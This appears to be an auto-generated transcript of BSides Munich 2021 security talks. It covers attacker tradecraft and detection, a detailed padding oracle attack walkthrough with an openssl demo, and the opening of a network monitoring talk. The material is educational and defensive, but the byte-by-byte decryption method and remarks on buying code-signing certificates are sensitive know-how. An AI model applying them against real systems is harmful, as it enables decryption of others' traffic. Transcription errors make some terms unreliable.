espionage groups because espionage groups of course operate much differently they are much more stealthy they do not want to make noise they want to remain low and slow and of course for them the job doesn't end they need to stay where they are they need to continue seeking the information that they seek and they have to do it very quietly and we're going to talk about the the low and slow parts specifically um in in the next few slides because that's where the that's where it gets interesting right but there are plenty of overlaps between groups even though their their motivations are completely different and their approaches to to going about their objectives are completely different
this is a meme that i shamelessly stole from one of my former colleagues bryce and more often than not this is the case that any loader or any any sample that is found on virustotal or or if you're responding to a breach and you see that there's a custom loader that's doing something fancy ultimately it it is loading cobalt strike and um for those of you unfamiliar with cobalt strike it's just a framework that penetration testers and adversary simulation professionals like myself use because well it's it's a great platform to begin with and it gets the job done but the point here is that it's it is now being used by groups with varying motivations and varying tactics
so it's really hard to identify once you get to the point of triaging the uh the shell code and when you see that okay this shellcode is uh this is kobus right this is definitely cobalt right it's hard to distinguish who the threat actor is because it could be your red team or it could be your uh it could be a nation state has been a troop or a ransomware actor so it's it's hard to draw those uh distinguishing lines when you're triaging these threats but but there's we're seeing that even though the approaches are different the there's still a lot of overlap between the various threat actors out there and we're now seeing things like good good signed executables
are now very very easily found [Music] in just about everywhere uh criminals can just buy these code signing certificates um off the dark web for 300 500 sometimes it's a little more if you want to bypass smart screen i think it's about 1500 or so and yeah it's it's worth the investment because ultimately you're going to ransom a huge organization and the money makes up for itself so code sign code signed executables or code signed malware is definitely something that's that's much more common now and and stage the stage one or the stage two in the malware which is code that's loaded eventually or further down the line is turning out to be cobalt striking
practically well every other breach or every other threat intel report that you read every other ransomware analysis blog or it's all over and of course the most the most interesting is is the post exploitation tools that we're seeing we're seeing a lot of mission state adversaries as well as ransomware groups use mimikatz and bloodhound and responder and there's quite a few but the the point here is that even though these these tools are open source these um they're extremely well known by the security industry they're they're heavily signatured but they're still very very popular because all it takes is a few customizations and you don't have to reinvent the wheel and that's the interesting part about
the adversary tradecraft it's that the threat actors are not the they're finding that it's much easier to to just use what's all that's already out there instead of creating two from scratch so let's say that a threat actor wants to dump credentials now they can they have the capability to to write something that's exactly like mummy cats but it's not unique ads but they would just rather not because this has very very obvious benefits well a it saves time and effort of course this means you don't have to hire developers you don't have to have a you don't have to spend countless hours in building the malware and well two it's it's very widely used
it's tested in production every red teamers and pen testers have already used it if they've seen issues they've opened github issue issues in github or feature requests and of course the the main benefit is that it muddies the attribution water so you can never profile a threat actor by the tools that they use so to put it simply if if i wanted to create or if i wanted to be a thread group of myself and if i started building all these tools myself which were completely custom from scratch then i could only use them in one in one mission because once once they profile they're burned and if i use them again then it points
directly to me so there are some very obvious benefits of of using open source tooling of course i have no problem with open source tooling per se but that's a different topic that i'm not getting into right so getting into the tactics techniques and procedures itself the important point here is that every adversary has to at some point perform a certain set of actions in order to complete their mission so this means that once the adversary is inside your network they need to perform the same steps in one way or another maybe they do it differently maybe the tools they use are different maybe one threat actor uses tool a the other uses tool b so let's say
maybe a ransomware group uses ps exact for lateral movement but maybe a cyber espionage group uses vinaram but they still need to do that they still need to perform that action to move laterally and this is where a detection opportunity arises and every single command that is executed every network packet that sent every step forward that an attacker takes in this kill chain as they call it which is quite popular nowadays each of these steps is a detection opportunity at the end of the day and as a defender it's it's our job to think of each of these steps as a way to catch the adversary it doesn't matter if you don't stop them in the very first
opportunity you get a second opportunity a third opportunity a fourth opportunity there are always opportunities because the attacker has to perform those steps if they want to steal the data they have to move laterally to the to where that information is if they want to ransom your entire network they have to compromise the domain they need domain admin [Music] so that they can spread across the entire network so let's get into some popular case studies uh would be remiss if i didn't mention solo wins here because it's it's the most the most recent the most one of the most talked about i mean a lot has happened since solar winds i mean microsoft exchange happened
and then pulse secure what happened and sonic will happen then yeah anyway so solo wind was of course the more sophisticated case study in our case um we saw that the threat actor was was actively reading the process space of ms build processes that were running on the build server and on the right you can see the screenshot that's from the crowdstrike report which which was which still had uh has some comments that were left in and we can see that the hash of ms build.exe the the name of the process was used to compare it with the processes that were running and then the the threat actor also looked into the the peb of the process
uh and the peb is where all the all the good stuff is stored of a process so that's where the command line arguments are stored that's where the uh the attributes of the process are so that the third actor actually went to the extent of reading the peb of the ms build process after finding it and then comparing the the command line arguments and finding and replacing whatever they saw on the commander arguments in the sense that if they saw that it was running a specific it was building a specific project file then well they they replaced the source code so they replaced the project file and that's how the build process was compromised so that was
a very very different level of sophistication but when you compare it to some of the recent some of the most recent ransomware cases uh specifically the the biggest pipeline of the united states and the group that was behind it which was dark side fireeye did a pretty cool report about uh the tools the tactics techniques and procedures that they use as well as the tools and you can see that the gulf in class is quite different when you compare the two so you can see a lot more open source tooling and you can see that this is it was much more noisy you see cve 2021 20016 which is the sonicwall cd i think and
and then of course going down the road plenty of open source tools bloodhound power view mimikatz speak beaconess cobalt strike so [Music] very different but also a detection opportunity in each step so going back to the um the initial slide that i shared what what exactly are we dealing with here how do we how do we deal with a threat like this when we have such a short timeline i mean it takes it takes a little more than an hour just to get your asset inventories in place how do you manage to remediate a ransom ransomware threat so what's important to note that the operation tempo will almost always vary between a ransomware group and
a cyber sp major group so the ransomware group will always prefer speed because they will want to break in and encrypt everything and then leave that ransom note and then just leave but the cyber espionage troops of course they require stealth they need to stay in they need to be in the network for for very very long term so they're looking for the long haul so the point here the point here is that the operation tempo all is always polar opposite for both and this is even more interesting because some of the modern defensive tech that we're seeing these days uh relies a lot on baselining what the normal is so a lot of this technology
once you install it and once you place it in your network it takes 30 to 90 days just to just to observe it learns what normal looks like in your network for example or on your end point and then after those 30 or 90 days if there's a very obvious anomaly then it will just ring the alarm bells and say that okay this is not normal we this was not something we observed in the 90-day window so this is something that you should investigate so this means that the trend going forward will will force attackers to operate slower and the questions that you will then need to ask yourself is that if if the ransomware groups start operating
slower if they if they ditch their smash and grab approach and if they if they dump the the noise and if they start operating in a more sophisticated manner and start being more similar to the cyber espionage groups then would you be able to see this change in behavior would you be able to detect and respond to it a good a good case study or a war story if i may say so from from one of my red teams was that a very popular attack that red teamers really love is the kerber roast attack and we will get into the details of kerberos very soon but the point is that this this particular image is from
debug privilege on twitter and he said that if we look at these kerberos requests from a defender's perspective then this is an op sec failure by the attacker and opsec means operational security so the attacker wasn't being stealthy and what the what the author is trying to say is that if you just look at the number of requests that were made in that short time frame so 7 42 am from four seconds to five seconds there are plenty of requests and this is not normal and that is why it would raise the alarm not because the request was made but because the it exceeds the baseline by it just goes through the roof so how do you detect
um what kind of detection strategies can you implement this is one that i really like this is one by jared atkinson and he says that attacker tools are just an abstraction of the capability of that tool so defenders need to start looking at tools as just as an abstraction of the capability so if if you're talking about kerberos which is an attack that involves uh kerberos ticket granting service tickets uh without getting into a lot of detail about kerberos the attack itself can be performed by many different tools so it depends on how you want to perform the attack but ultimately you need to break it down into what managed code is called what is the
windows api function that will be called and what is the rpc call that will be made and on the network what is the kind of traffic you'll see and if you're able to break down the the tool that attackers used into the building blocks of it then you can you can very well detect any of these tools then it doesn't matter if someone builds something custom it doesn't matter if someone uses let's say rubios and and you have if you have detections in place only for powershell because you have msi or whatever then then you you won't you won't just rely on that one layer of defense so you have to break it down into
you have to break down the tool or you have to view the tool as just as a larger wrapper of of the capability itself one of the other detection strategies that jared also mentions is the funnel of fidelity and this is one that i really like because it's it's uh it's very realistic and it it's very obvious that these are genuine problems that he has faced and the whole world faces these problems and the problems are that well everyone has finite resources and everyone has finite number of sock analysts everyone has finite number of incident responders and of course finite number of hours in a day and there is absolutely no way that you can
analyze 1 million events you can probably hire 1 million people but those i mean that is just um it's it's unthinkable so uh the idea here is that uh the funnel of fidelity is is the funnel of the data that you receive and every every single event that takes place cannot be investigated so every step in this funnel simply serves a purpose of taking input and filtering it and passing it on to the next step and making it easier for the next step to analyze whatever it is that you're giving it as output so when you're when you're detecting events then you need to filter them out into if you're detecting detecting a million events then you need to
filter them out to only the hundreds that need to be triaged and then from those hundred you have to pass them on you have to pass on even fewer to the incident responders to investigate and if you see that there's a legitimate threat then you pass them on and remediate those threats but the idea is you do not clog this funnel you keep filtering and passing it on to the next step some of the most commonly used um commonly used commands that we've seen and this is this is very helpful information from the japanese cert team and one of the other detection strategies that come from um a very famous red teamer subtee casey smith
and he said in one of his black hat talks that behaviors happen over time and we need to monitor where the action happens so we need to have we need to be able to look at the larger picture and from a red team perspective of course we know that attackers pay a lot of attention to blending in so pay a lot of attention to legitimate binaries being renamed and replaced so things like powershell.exceeding rename to p dot exe and put somewhere else and then being run from there uh you need to be able to detect very simple and silly things like those network connections from living of the land binaries so binary is like ms bill and
rexer32 so on and so forth also worth looking at and of course frequency analysis that is something you should be performing uh just to see just to have a good idea if there's uh something odd that should be in your network that's sticking out like a sore thumb so if there's a scheduled task that has been created only on 10 computers out of 100 computers and that's probably something we should look at okay in the ingest of time i'm going to speed up a bit this is a pretty cool picture by it's a slide by florian roth on how to prevent ransomware he focuses on low effort and high effectiveness measures so those are definitely something you should
prioritize over anything else that the sales team might be trying to sell you and [Music] that's where i stop i'll be on slack when this is being played of course this is a pre-recorded talk so feel free to ask me questions thank you so much thank you merci gracias grazie happy to present and thank you once again to the besides team and we are back so thank you very much for the nice talk that you had and now we have time for a quick q a session um the first question that i see i think it's a refund so guy on the chat asks that solarwinds look like a process injection um was this the case
uh so if by process injection you mean that the attackers had to query the remote processes to see if the specific project was being built then i won't call it process injection because that's a different technique that attackers use but but if you are familiar with the technique of spoofing command line arguments uh then yes uh so what that entails is you you have to read the the peb of a remote process and the peb of any any process has a lot of attributes like the the command line arguments what what modules are loaded uh and so on so what happened with the solarwinds case was that the malware itself was able to read the peb of the ms build
process and that means that when you read the ms the peb of that process then you can see that ms build would have those specific command line parameters and that's how they identified which particular project to hijack before it was built so if you want to read up further about this then there's there is now a lot of documentation about how to spoof command line arguments and how to read the beb so i strongly recommend that you you could go through those thanks for that and then one other question from p in the chat um he says if cobalt strike is so heavily signatured how is it used anyways in attacks why is it detected right away
yeah so that's uh that's the sad reality of it cobalt strike by default like if you just run cobalt strike without changing anything or modifying any of the settings or if you don't use a c2 profile or if you use a c2 profile that's straight out of someone's github then yes popular vendors or popular security technology will signature you but if you are able to customize it to to eliminate some of the default behavior then it's significantly harder to to detect and then you'd have to rely on other detections so defense is always layered so first you have static signatures for default settings uh if that fails then then you you need to detect on something else you need to
detect on behavior like process injection for example and then when you start detecting on such behaviors you need to detect on specific api calls which process injection technique should should we detect against so that's it's it's a lot more complex than saying that okay cobalt strike is out there and it's available so why isn't it getting detected and also most of these most of the victims that we see who are getting ransomed not a lot of them have proper full-fledged edr and security teams and a sock so so yeah the the reality is a lot more different on the ground no yeah makes sense cool then um that's all what we can answer right now and i see there are
more questions coming in on the slack channel so i suggest everyone to join the slack as well um again thank you very much sajol for um having the talk at the besides munich in collaboration with the outside conference um really very interesting stuff and everyone that gets uh wants to get in contact with you that feel free to go on the slack um also we're going into the break now i can recommend again to everyone please join our sponsor slack channels they're still giveaways to giveaway i heard and um also siemens actually the place where others working they have some job offerings posted as well so if you're interested in getting into red teaming that's
one of the options you can look at so um yeah have a great evening i hear also in munich as well the thunderstorm is coming in um so thank you have a good evening let's get back to the break now and we will continue after the break with some more very interesting talks coming up thank you thank you so much for having me [Music]
[Music]
[Music]
so
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music] so [Music]
[Music]
[Music]
[Music] so [Music]
[Music]
[Music]
[Music]
[Music] [Music] welcome back everyone to b-side smash 21 our next speaker is henning cop hey henny great to have you hi yes thanks for the invitation a child henning always wanted to become an inventor or a street magician and hitchhike to spain lucky for us he instead studied mathematics at the tu kaiserslautern specializing in the area of number theory his interest in cryptographic application then led him to complete a phd in the area of i.t security he is currently employed at schutzberg bihar where he performs various types of security assessments schweck is also one of our sponsors so shout out to them and thanks for the support today henning is going to lead us down
the path of petting oracle attacks and explain us or explain to us a glaring weakness of block ciphers so go join the slack channel if you haven't already and participate by asking questions on petting oracle attacks the critical bug in your homebrewed crypto protocol hello and welcome to my talk here at upsides today i'm going to talk about padding oracle attacks so first of all the obligatory about me slide i'm handing kopp i have twitter and i also have a website originally i studied mathematics and there i specialized in algebra and also in number theory and then later i did my phd in computer science in the area of distributed systems and also in its security
and currently i'm working at an i.t security consultant at schutzberg so after that let's talk about my my main focus today which is the padding oracle attack so what is a padding oracle attack well it's an attack on a cryptographic implementation where we exploit some additional knowledge of the validity of a padding and it's kind of a cryptographic evergreen so well the first first padding oracle attacks were due to bleichenbach and vodynay in 98 in 2002 and now it comes again every year so all those new tls attacks lucky 13 poodle drown robot the nine lives of blackenbacher's cat basically all of them are one form or another of a padding oracle attack and my goal is when you leave this talk then
you will be able to understand the padding oracle attack and i hope you will also be able to implement a proof of concept so the the magic in the padding oracle tech is basically that it's not an attack on the on the design of a cryptographic system but rather on its implementation so i have seen some padding oracle attacks in the wild with some customers of schutzberg where they um yeah they have implemented their own crypto and i hope you will also profit from this knowledge and will be able to apply it so first let's talk a little bit about the well the foundation so to speak let's talk about block ciphers so informally speaking a block cipher
we have inputs and we have output this kind of a normal algorithm and the input is a block of data of fixed length which is usually called the plain text and also there's a key which is also an input and the output is also a block of data of fixed length which is usually called the cipher text or the encrypted text and the the security property is that for each key a block cipher is indistinguishable from a random permutation so you could also say a little bit more formally that the keys enumerate the space of bijective mappings from plain text blocks to the ciphertext blocks so this just means that if we fix a key
then the the mapping from the plaintext to the ciphertext is by objective that means injective and surjective so you don't have collisions there are no two different plain texts which you can encrypt and then get the same ciphertext so this basically says you can again decrypt it later and yes it's just a fancy way of defining it yeah but usually when you want to encrypt data you don't have a single fixed block but rather you want to encrypt multiple blocks so there are some modes where you can use the the a block cipher to encrypt multiple blocks so one is the electronic code book this is insecure please don't use it it's kind of the naive idea that you
split your plain text into multiple blocks p1 p2 p3 and then you encrypt each block with the same key why is this insecure well i hope you've seen the ecb penguin well if not i will explain it to you so this is an image of a penguin which is then encrypted with ecb and when you then look at the encrypted image you can still see the the penguin basically because well the background for example is white so in in the original image is it's white and if we look again at how ecb works then p1 p3 and so p1 p2 p3 and so on they are all the same basically because it's just white bytes
and then you get the same c1 c2 c3 and this leads to the repeating pattern here in the background and so you kind of can spot the penguin so what we can do instead is the cipher block chaining mode or cbc and yeah it's kind of ecb but additionally we x or the previous cipher text into the next plain text block so for example here in the second block we have the plain text block p2 and we xor it with the previous ciphertext block before we encrypt it then we encrypt it and we get c2 and here this ciphertext block is xor with the p3 and then this is encrypted so we get c3 so what do we do with the first
plaintext block well there is no c0 basically here which we can xor on it and so we simply well basically we invent a c0 which is then called the initialization vector and should be chosen uniformly at random and then this is xored and treated as c0 and this is then prepended to the ciphertext yeah let's next talk about padding so usually your message which you want to encrypt does not fit into the block boundaries for example your email is not a multiple of 256 bit but rather some well arbitrary length so what do we do well simply we fix it so it does fit into the block boundaries we simply add some bytes and this is called the padding
and the padding needs to be reversible because when you then receive the encrypted message and you decrypt it then you want to be able to remove the padding again so for example if you just fill the plain texts with zeros at the end so that the whole plain text the length of the plain text is then a multiple of the block size then you cannot undo it later you do not know how many zeros to to remove but actually we don't have to care that much about the padding because there are standards so there's pkcs5 and pkcs7 and there are also multiple more standards but today i will talk about these for the others it's basically
similar well there the value of the padding bytes is the number of the added bytes so the idea is if we have ace so a in hex is 41 a a a a and the last block consists just of four a's but then we need four bytes more so that we have a whole block well we need to we need a padding of four bytes and the value of the padding bytes is the number of edit bytes so we add four fours so this here in the box is then the padding uh yes and then we can decrypt it because now it fits the block boundaries yeah here this in this row it's a second
example so what if it fits the block boundaries well then we have to add a whole block just of padding um yeah so now the the open question or the question where the padding oracle attack is based upon what if the padding is incorrect after the decryption so we have a message we pad it we encrypt it we send it and now the receiver receives the message the encrypted message decrypts it and next he needs to remove the padding but what is if you cannot detect the padding if there are no not four bytes or four or five bytes or five but rather well two bytes of four or something like this well then of
course the decryption failed but what should an application do what should a protocol do there should we throw an error or should we not throw an error and this is basically the main problem where people make bad decisions which then lead to padding oracle attacks so i will not answer this now but rather we will come back to this but please keep that in mind so next another nice observation what happens if an attacker flips a bit and we're in cbc mode so let's say we have here this green bit in c2 so in the second cipher text and the attacker just flips it and then the receiver he gets this message and then he encrypts it
and of course if we encrypt this we get here some garbage so this is complete gibberish we cannot understand this anymore but here we flipped one bit so the attacker here flipped one bit so here one bit at the same position is flipped this green bit um yeah and this of course well there are no changes to p1 right so here the summary if an attacker flips a bit in cbc mode then one block is unrecoverable the next block has a flipped bit at the same position and later blocks and previous blocks they are not affected so i have a demo here so first i'm creating a new file which is called secret txt and it consists of 48
a's so here i have the secret txt and it's just a aaaa and so on and actually these are not 48 bytes but rather it's 49 bytes because there's an end of file delimiter at the end so next let me encrypt it with this command sorry that was too fast uh rather it wasn't too fast but we had a end of line here okay so we encrypt with openssl with aes 256 which is the the block length and aes is just the cipher we're using in the cbc mode the input file is this secret txt which i just created so the aaa and the output file is called secret dot cbc which is then the encrypted file
then i specify an initialization vector only zeros this is insecure don't use this in production well and then i don't have a salt which is just some internal thing which we don't care about now and minus p means we're using a password so now it asks well what do you want to have as password and i take aaa for ace aaa again the same password and this is then the key which was derived from this aaa which i just typed in as a password and the initialization vector is just zeros so what does it look like cad secret.txt [Music] sorry secrets cbc of course so the c critique c is the ace secret cbc is the
encrypted file here let me copy it because now i'm going to modify it let's say secret2.cbc and now well what do i want to do i want to show you that i'm correct so i want to flip a byte decrypt it and look what happens so for example here there's the 31 so this is the the encrypted file and if i have a 30 here then i flip one byte a1 sorry one bit the one is now a zero next i have to save it and now i'm going to decrypt it with this command yes exactly so open sl again i'm using the same cipher as256 in cbc mode as key i'm using this derived key here
the initialization vector is again only zeros the input is the secret cbc so the encrypted file will switch switched one byte and the output is now called secret well we can call it secret one txt which is then the decrypted file yes and it works let's look at secret one txt well it may be binary file but let's look at it anyway so we have here the ace aaa then we have here one gibberish which is exactly the block which i told you about that it's well broken then so one block is lost and here we have aaa and here's one at symbol and that add symbol is basically an a where one bit is flipped
okay so that was basically just like i told you but well why did i make a copy secret 2 cbc well there's some additional trick here which i want to show you let's now flip another bit here we have six three so if we have six two then the last bit is flipped so i hope this works now otherwise i will just edit it out of the video so now i will again decrypt it and the input here is now secret to cbc and the output is again secret 2 txt and i get an error so bad decrypt digital envelope routines evp decrypt final x bad decrypt what is this i flipped a bit in the next to last
block i try to decrypt it and then i get this error so what i did there was i decrypted it and then i broke the padding because i flipped so if if we look back at this part i flipped it here so first i flipped it here and then everything was fine next i flipped it here and then this was broken so here this padding here was broken and this error base sorry this error here basically says well i try to decrypt it but now the padding is not correct so i cannot decrypt it fully so this is a padding oracle we get information on if the padding is correct or not and next we want to use this to decrypt
the full file only by having this padding information and this is the vodaney attack the setting is as follows the attacker has the encrypted message of the victim it's encrypted in cbc mode and then the attacker can modify the message and send it to your server and the server then answers if the padding is correct or if it's incorrect and that's the padding oracle and the attacker does not get any more information he only knows if the padding is correct or if it's incorrect and now what is what is the impact well i think i've already spoiled it so the impact of this small information leak is a full plaintext recovery which is a fancy way of cryptographers to say we
can decrypt the whole message or rather the attacker can decrypt the whole message so let me show you the main idea which will hopefully allow you to to implement this again i have here this diagram of cbc mode and now the idea is the attacker changes this last byte so now not any byte but this last byte and then this block is broken and here this block is or this this byte here the last byte has changed and well we give it to the server and the server says well the padding is broken now so we're doing another change we try one more value for this last byte here in the second to last block
and for one of the values we're actually for two so if we don't change it all the cell will say the padding is correct but also for one value let's call it x the cell will say the padding is correct because then here we have a zero one and 0 1 is a valid heading of course and well we can detect this by using the padding oracle by asking the server because that's what i said as an assumption that we have a padding oracle and well what does the attacker then know the attacker know that this value x what he has chosen x or the last byte of p3 which he does not know about is 0 1 because it's a
valid padding and now we can do basic algebra and say the last byte of p3 is 0 1 x or x so we know 0 1 we know x so we can compute the last byte of p3 with this information and next we want to have one more byte we want to have the second to last byte so if we have here x x or 0 1 x 0 2 then in the encryption here we should have zero one so we can guess here the next but last byte and we change it multiple times and so the attacker changes it gives it to the server the server says well no it's not a valid padding
so we try again we change another we change this spy to another value we give it again to the server the server says no it's not a welder padding and well we can try all 255 values and for one of the values again the cell will say yep it's a valid padding we call this value here y and for this value we will have a 0 2 here and so y x or the next but last byte of p3 is 0 2. so we can again do algebra so the next the last byte of p3 this brown thing here is yx or zero two so we're knowing we're now knowing two of the last bytes here
and we can do this for the whole message first of all we're doing this for the whole block here and then we're throwing this block here away and doing the same here and treat this as the end of the message and well what's the consequence basically we can decrypt the whole ciphertext one byte at a time and at most we need 256 oracle calls per decrypted byte but on average we're using 128 calls so for example if we have 100 milliseconds per oracle call this leads to 12 or 8 seconds per byte average decryption speed and well let's talk about an example where we have session ideas so a session id is around 32 bytes long
and 32 bytes take around six minutes to decrypt with this bandwidth stated here and of course we don't just send a session id but in a real world use case we need some more time for the remaining http header but six minutes for decryption is really fast in a cryptographic setting so for cryptographers it means it's broken okay next let's talk about applications and counter measures so this was the vodaney attack but of course we can also do a padding oracle attack on other cipher modes so for example for the counter mode of course i had now as a padding the pkcs 5 or 7 but it also of course works for other types of block cipher paddings
the the interesting part is this padding or attack works independent of the encryption algorithms and now you may be asking well but i'm using an asymmetric encryption scheme for example if you're using rsa which is not a block cipher what can we do there well there are also padding oracle attacks there's for example the bleinbacher attack yeah i will talk about this shortly um it's not necessarily more difficult than the wooden attack but it's more tedious so first of all let's talk about what's the padding in rsa here rsa has the properties that if we encrypt some value a and if we encrypt some value b and if we multiply it then it's the same as the encryption of a
times b usually you don't want to have this and also the next problem is that the encryption is deterministic there's no no random stochastic component like the the initialization vector in the cbc these properties are generally undesired so the determinism and also the uh the homophobic property and that's why we're using padding in rsa and there's pkcs1 version 1.5 which is just one type of padding for rsa and the idea is you have the message and then you pad it as follows so you have here your message then you add zero zero zero two some random non-zero bytes and then again zero zero you convert this to an integer and then you encrypt it um
yeah and this is this is the padding in rsa and well if you want to do a padding oracle attack on it you're basically iteratively guessing values which you multiply to the encrypted um yeah to the to the ciphertext basically and then basically the server says does the plain text have this um yeah does it look like this and from then you can narrow down the intervals in which the real plaintext is until the interval only consists of one value next what are the counter measures against padding oracle tags so one counter measure is you simply don't provide a padding oracle so you don't reveal if the padding is correct or if it's not correct
but actually that's very hard because there are multiple side channels for example you have timing information you have memory access patterns maybe you want to lock your errors and so on yeah the next countermeasure is you can use a secure block block cipher mode which means for example using gcm instead of cbc because cpc is usually yeah or cbc can be vulnerable to these type of attacks whereas with gcm it's much more harder to to have a vulnerable implementation yeah for the asymmetric ciphers you can just use elliptic curves instead of rsa because in elliptic curves you don't have a padding and on the protocol level you can encrypt and then authenticate or sign or mac however you want to
authenticate with is up to you so when when someone receives the message he first has to check the signature and if the signature is not correct or if the mac is not correct then we know or the the receiver knows that someone has tampered with a message and then he can simply abort and he doesn't have to decrypt it and thus provide a padding oracle um yeah how does how does tls do it well tls does it the other way tls first authenticates and then encrypts which is the wrong way so to speak so if if you receive a message in tls you first decrypt it and then you check the authentication and so if someone has tampered with a
message either the decryption fails because the padding is incorrect or in a later step the authentication fails because well someone has tampered with it so the signature doesn't verify anymore and if an attacker can distinguish between these two error modes basically for example via timing or via the the error message itself then he has a he has a padding oracle and then he can try to attack it and that's why we have lucky 13 so lucky 13 in 2013 was a timing attack against the padding and there was poodle which was a padding orbital and also a downgrade attack there was also drow in 2016 it was a downgraded attack and then there was a
bleinbach attack on top of it 2018 there was robot return of bleichenbach's oracle threat or also the nine lives of bleisenbach's cat so there we had cash attacks and via the cash attacks an attacker was able to to distinguish between the um yeah basically here they had a padding oracle tag because the type of memory access was different so what were the fixes in tls well first of all there's an encrypted mac negotiation extension for one tls10 and one one that was in 2014 so basically it says well um i want to negotiate with you that we first encrypt and then authenticate so we're doing it the correct way or not the bad way well in tls11
the handling of the padding errors was changed to use the battery cord mac alert rather than the decryption failure to protect against cbc attacks so basically there was a different alert so the um the handling of an a failure of the authentication or a failure of the [Music] decryption by the padding it should be handled the same well in in tls wonder two we have in the standard this part in any case a tls server must not generate an alert if processing now rsa encrypted premaster secret message fails so we're talking about rsa here and the bleichenbach attacks in the the handshake instead it must continue the handshake with a randomly generated premaster secret it may be useful to lock the real cause
of failure for troubleshooting purposes however care must be taken to avoid leaking the information to an attacker through timing log files or other channels so if you're implementing tls and the the the processing of the premaster secret fails then you're not aborting but rather you have to continue with a random pre-master secret and it fails then in a later step so in summary what have we learned there well do not use your own crypt in production but i encourage you to build your own crypto for for learning purposes and also to build your own attacks on crypto on your own crypto or on other crypto also for learning purposes because if you don't play around with it
then you don't you don't learn um also another takeaway is first encrypt then mac if you're building protocols first encrypt then mac also one takeaway is do not underestimate information leaks because here basically the attacker he knows so little he knows only if the padding is correct or not so thank you everyone thank you for listening to me thanks for inviting me to the conference and if you have questions please get in touch with me for further reading if you're interested in these type of attacks check out the links here i think you should have a good start now and you should be able to to understand these papers so thank you and goodbye all right
thank you henning for this fascinating talk well i hope you enjoyed it i did so uh we have a few questions for you are you ready yes okay so at least if they are not that difficult well you're the expert i have no doubt if the set of characters of the plain text is known does that change anything does that speed up the process if the set of the characters of the plaintext is known um yeah for example if we know it's a maybe it's a text and the language is german or something does that uh no no actually not i i don't think so maybe there are some tricks but on the top of
my head i don't know any trick okay uh i think you mentioned except of course if there's a validation on the um on the character set because then you can have timing attacks or you can have an oracle if the character said this then okay that may help you okay so it doesn't change anything because you said you still have to try all 254 possibilities okay yes exactly all right uh so i think you mentioned a few um a few real-life examples um the question is what are the real world implications of the padding oracle attack does it affect current usage of state-of-the-art crypto protocols in a meaning way in a meaningful way yes so actually it affects the
design of the protocols and also their implementation i think that's exactly the interesting part of the crypto oracle attack because you can mitigate it on multiple levels for example when you're using elliptic curves instead of rsa then you don't have that issue basically or it's it's easier and that may for example be one argument to use elliptic curves instead of rsa and also on the protocol levels the the order of some messages is chosen in a special way to avoid the padding oracle attacks so it's not only for the implementation but also for the design of ciphers and the design of the protocols okay so it's it's not just an academic exercise to show how even little bits of
information leakage can weaken security it's actually something that's used yes all right i think that's it for questions uh let me check but yeah uh yeah so if there are more questions you can reach me in the slack or on twitter i was gonna say so you're gonna be there for a while then uh thank you very much again for taking the time to share this excellent talk with us um welcome will be available for further questions any last words anything you want to share well hello to my parents i think they are watching great all right well hello from me too to everybody else please check out our other sponsor slack channel for swag and
other really cool stuff and a big shout out also to airbus who are sponsoring this year and thanks for your support stay tuned for our next talk [Music]
so
[Music] so [Music]
[Music] for our next talk i would like to welcome sasha steinbes and andreas harz hey guys great to have you hi everyone sachin andreas are working for the dcso that's the deutsches heights organization and they're going to talk about the fascinating challenges of network security monitoring in large enterprise environments where large means more than 80 high-performance sensors distributed in 15 countries across heterogeneous customer networks so please join the slack channel participate by asking questions and enjoy the care and feeding of mere cats good evening everyone or good afternoon um we are starting with some andreas health from dcso and um welcome to our talk about advanced network security monitoring and enterprise environments um we will start off with a quick
introduction to nsm which will which ideas will do and then we'll both share some experiences about the challenges changes that we've seen running this kind of service and afterwards summarize the lessons that we've learned um over the time quick word about our employer um we work for a german company called dcso deutsche services organization which is basically a managed security service provider um founded in 2015 by large german companies and some scientific institutions um and among the set of services that we provide is a cyber defense service set um and sites incident response services and um providing that intelligence information and there's also a network security monitoring service which in our context is called protection and hunting
and andreas and me we're both involved in that um and that's the source of experience um so that'll be it about our employer let's dive straight into um what you're came here for let's talk about um network security monitoring uh as yeah that's what it is so um hello from my side as well i'm andreas so i guess most of you know what an nsmri ids is but just to highlight the scope um so with network security monitoring you get a comprehensive view of the flows of your network and characteristics which is not like directly a focus on only security things you can also compare to some sort of asset management stuff like that but you have a huge variety of
information that you can already collect within your network uh your network you control with intrusion detection system on top of that you also try to identify malicious communication policy violations or anything that's very suspicious within your network and most of the time such appliances that are dealing and providing the intrusion detection system are called sensors so from on from now on when we talk about sensors that's what we are talking about a system that's including nsm and ies capabilities so the use cases that you see that we have are our general passive network and emulation so that you get your overview of your infrastructure changes that you see um if any new networks have joined a
few new machines clients have changed or anything specific has changed a wall in your network and you see traffic that you haven't seen before which might be legit or might be something you um think is a violation of any policies there's also the use case that you try to um discover the attempts of any kind of attack either either a malware infection or any system or whatever you've seen and that's like ransomware or specific attacks that directly targeting uh your company or services that you provide it's also possible to detect vulnerability scanners or for example um pen testing and stuff like that and as well as malicious devices either inside your network outside your network that's
trying to enter your network and see if they can obtain any data in fact any systems so a lot of use cases that you can have for using an nsm on ids so when we started this and established this as a service we had a lot of challenges roadblocks and other issues and we will shine light on what we've seen what solutions we try to provide what we've already achieved and what is still on the road so from an engineer perspective the different challenges in the enterprise environment you can split it up in like four major areas that's like hardware the network data itself and the monitoring of that so um when you look into the hardware it's quite clear that
you need some sort of specific hardware for that uh features that you want to provide so sensor sizing is very essential and has some parts of the network area as well performance testing is mostly based on what hardware you have and you have achieved but also how your network looks like so they're deeply connected to each other same goes with the composition of the traffic itself that you forward to the machine placement is crucial you have some requirements based on the hardware but in general you want to look into your network where do i place the sensor where you see the most traffic and also how do i manage those devices for example in our case they are managed by
us for the customer but we need to make sure that we can reach those systems and we can take care of the management of those devices if you go to the bottom we see a huge part is the collection of data we want to analyze the data we want to aggregate the collected data and also visualize the data and that's where we're heading forward 2d monitoring part but we also include like the performance monitoring that we making sure that the appliances are running as smooth as possible and that we detect any issues either of different uh traffic changes that might indicate even an attack or just that there's something wrong with the network that we need to
improve the performance in addition to that on the data side you need some sort of security content management because without any security content it's hard to match on specific attacks or anything else so what's often called signatures or iss and hand-in-hand goes to downstream matching towards this data
